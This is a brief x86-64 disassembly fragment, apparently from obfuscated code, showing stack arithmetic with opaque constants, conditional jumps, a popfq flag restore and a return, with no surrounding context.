mov r11, qword [rsp + r11*8 - 0x1b8]
add qword [rsp + r12*8 - 0x3b0], 0xffffffffbfe2f7e3
add word [rsp + r12 - 0x3a], 0x2a3a
and dword [rsp + r12 - 0x3a], 0xbb004ca6
je 0x1400014a4
mov r12, qword [rsp + r12*2 - 0xa4]
mov dword [rsp + 0x40], 0x6856025
jo 0x1401b0ce8
mov qword [rsp + 0x48], 0xffffffffa38654af
sub dword [rsp + 0x48], 0x4d3a1e14
push qword [rsp + 0x60]
popfq
lea rsp, [rsp + 0x68]
ret